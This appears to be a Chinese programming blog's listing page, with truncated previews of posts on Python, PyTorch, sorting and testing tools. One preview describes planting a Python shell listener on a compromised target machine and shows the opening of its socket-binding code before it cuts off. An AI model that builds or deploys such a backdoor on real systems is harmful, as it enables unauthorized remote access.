这题一开始想新建一个list，结果MLE了，后来想了想不用新建，insertion的概念理解好就行，具体编程部分不难1/**2*Definitionforsingly-linkedlist.3*structListNode{4*intval;5*ListNode*next;6*ListNode(intx):val(x),next(NULL){}7*};8*/9classSolution{10public:11ListNode*insertionSortLi
系统 2019-08-12 01:51:28 2367
转自：https://www.cnblogs.com/kaibindirver/p/9436649.htmlhttps://github.com/GoverSky/HTMLTestRunner_cn/blob/master/README.md在原版的基础上进行扩展和改造报告汉化，错误日志selenium/appium截图截图功能根据测试结果，当结果为fail或error时自动截图截图方法在_TestResult的测试结果收集中，报告使用的截图全部保存为ba
系统 2019-09-27 17:57:25 2366
有的时候我们在获取到目标电脑时候如果对方电脑又python编译环境时可以利用python反弹shell主要用到pythonos库和sokect库这里的服务端在目标机上运行fromsocketimport*fromosimport*s=socket(AF_INET,SOCK_STREAM)#IVP4寻址tcp协议s.bind(('',6666))#补丁端口s.listen(1)#开始监听一个队列whileTrue:sock,addr=s.accept()#返
系统 2019-09-27 17:56:43 2366
任务：用python时间简单的统计任务-统计男性和女性分别有多少人。用到的物料：xlrd它的作用-读取excel表数据代码：importxlrdworkbook=xlrd.open_workbook('demo.xlsx')#打开excel数据表SheetList=workbook.sheet_names()#读取电子表到列表SheetName=SheetList[0]#读取第一个电子表的名称Sheet1=workbook.sheet_by_index(0
系统 2019-09-27 17:56:00 2366
目录常用代码片段及技巧自动选择GPU和CPU切换当前目录临时添加环境目录打印模型参数将tensor的列表转换为tensor内存不够debugtensormemory常用代码片段及技巧自动选择GPU和CPUdevice=torch.device('cuda'iftorch.cuda.is_available()else'cpu')#modelandtensortodevicevgg=models.vgg16().to(device)切换当前目录importo
系统 2019-09-27 17:55:40 2366
话不多说,代码说话:importnumpyasnpimportmathclassConv2D(object):def__init__(self,shape,output_channels,ksize=3,stride=1,method='VALID'):self.input_shape=shapeself.output_channels=output_channelsself.input_channels=shape[-1]self.batchsize=s
系统 2019-09-27 17:54:04 2366
元组元组是不可变类型，以()表示，是任意对象的有序集合，同样是序列的一种，index和count方法分别是取元素，统计元素个数。语法比如(2,3)就是一个元组。元组与列表如此类似，为何需要重复的类型，主要它提供了不变性，提供了”常数”声明。元组项虽不能修改，但是嵌套里面的列表项还是可以修改的。文件open内置函数创建文件对象，通过这个对象对外部文件进行操作。函数有三个参数，第一个文件路径，第二个是打开模式，打开模式有三种:'r'表示读文件,'w'表示写文件
系统 2019-09-27 17:52:13 2366
Pycharm没有内置的python解释器，需要我们自己下载python解释器。在很多python项目中，会导入第三方的模块，逐个去下载导入很不方便。我们通常使用Anaconda来管理python的项目环境，Anaconda自带python解释器，且提供了大量的第三方模块，引入第三方库很方便。Anaconda的安装如果未勾选第一个添加到Path环境变量中，后面需要手动在path环境变量中添加conda.exe所在目录的路径。红框圈出的是Anaconda核心
系统 2019-09-27 17:48:58 2366
在python并行处理任务时要使用多线程还是多进程？说到这个话题，必须要提的GIL(GlobalInterpreterLock)全局解释锁，当Cpython每次执行字节码时都要先申请这个锁。那么问题就来了，如果使用多线程是比也会受到影响。多线程和多进程程序比较，哪个性能更高？还是拿一个实例运行来看看吧～＃写一个简单的例子，计算100W个随机数的和8次，同时将分散到8个线程进行运算。＃thread.py#!/usr/bin/envpythonimportra
系统 2019-09-27 17:48:57 2366
一、排序【这里介绍冒泡排序、选择排序、快速排序和插入排序】1.冒泡排序（1）原理解释：冒泡排序，分多轮排序。1）每一轮都是从上层的第一个数开始与其下一个数进行对比，如果大于下一个数就进行交换，下次对比就从上面第二个数【不管之前有无交换】再与其下一个数进行比较，依次比较到最后一个数。【如图i的移动变化】2）第一轮比较【j=0】。比较了最底下第二个数和最底下这个数后，即第一轮比较完。所以第一轮比较的次数为n-1次，即从上面第一个数一直比较到底下第二个数。【其中
系统 2019-09-27 17:48:20 2366
